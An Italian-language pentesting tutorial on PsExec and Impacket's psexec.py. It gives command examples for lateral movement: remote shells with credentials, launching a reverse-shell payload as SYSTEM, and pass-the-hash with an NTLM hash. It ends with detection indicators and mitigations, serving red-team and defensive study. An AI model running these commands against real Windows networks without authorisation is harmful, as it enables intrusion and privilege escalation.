Guida Approfondita a PsExec
PsExec è uno strumento incluso nella suite Sysinternals sviluppata da Microsoft. È comunemente utilizzato dagli amministratori di sistema e dai penetration tester per eseguire comandi su sistemi remot
Guida Approfondita a PsExec
Introduzione
PsExec è uno strumento incluso nella suite Sysinternals sviluppata da Microsoft. È comunemente utilizzato dagli amministratori di sistema e dai penetration tester per eseguire comandi su sistemi remoti Windows, con o senza autenticazione esplicita. Questo tool permette l'esecuzione remota di eseguibili, l'accesso a shell interattive, e l'ottenimento di privilegi SYSTEM in alcuni casi.
Use Case in Ambito Pentesting
In ambito offensivo, PsExec viene utilizzato per:
- Movimento laterale su una rete Windows.
- Esecuzione di payload/metasploit su host remoti.
- Escalation di privilegi tramite esecuzione con token SYSTEM.
Prerequisiti
- Credenziali valide con privilegi amministrativi sul target.
- La condivisione admin$ deve essere attiva sul target.
- Il servizio Server deve essere in esecuzione sul target.
- Il firewall deve permettere traffico SMB (porta 445).
Sintassi di Base
PsExec.exe \\TARGET_IP -u DOMAIN\\USERNAME -p PASSWORD cmdOpzioni Comuni
-s: Esegue il processo come utente SYSTEM.
-i: Permette l'interazione con il desktop dell'utente.
-d: Non attende la fine dell'esecuzione.
-h: Richiede token elevati se disponibili (per Vista+).
Esempi Pratici
Shell Remota con credenziali
PsExec.exe \\192.168.1.10 -u Administrator -p Passw0rd cmd.exeEsecuzione di un payload
PsExec.exe \\192.168.1.10 -s -d C:\\temp\\reverse_shell.exeEsecuzione come SYSTEM
PsExec.exe -i -s cmd.exePsExec da Linux (Impacket)
Introduzione
La suite Impacket, sviluppata da SecureAuth, include una versione Python compatibile di PsExec (psexec.py) che permette l'esecuzione remota di comandi da Linux verso target Windows.
Installazione
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .Sintassi di Base
python3 examples/psexec.py DOMAIN/USERNAME:PASSWORD@TARGET_IPOpzioni utili
-hashes LMHASH:NTHASH: Usa hash NTLM invece della password.
-k: Usa l'autenticazione Kerberos.
-dc-ip: Specifica l'IP del domain controller.
Esempi di utilizzo
Shell interattiva remota
python3 examples/psexec.py administrator:Passw0rd@192.168.1.10Uso di hash NTLM
python3 examples/psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:cc36cf7a8514893efccd332446158b1a administrator@192.168.1.10Rilevamento e Mitigazione
Indicatori di Compromissione
- Creazione/avvio del servizio
PSEXESVC.
- Traffico SMB anomalo su porta 445.
- Log di eventi Windows (ID 7045, 5140, 4624).
Mitigazioni
- Disabilitare admin shares se non necessarie.
- Segmentare la rete e applicare ACL su traffico SMB.
- Abilitare il logging avanzato e monitorare i servizi creati dinamicamente.
Conclusione
PsExec è uno strumento potente, ma anche pericoloso in mani sbagliate. In ambito red team, può essere fondamentale per muoversi lateralmente e consolidare l’accesso. È essenziale però, in ambito difensivo, saperne riconoscere i pattern d’uso e adottare contromisure adeguate.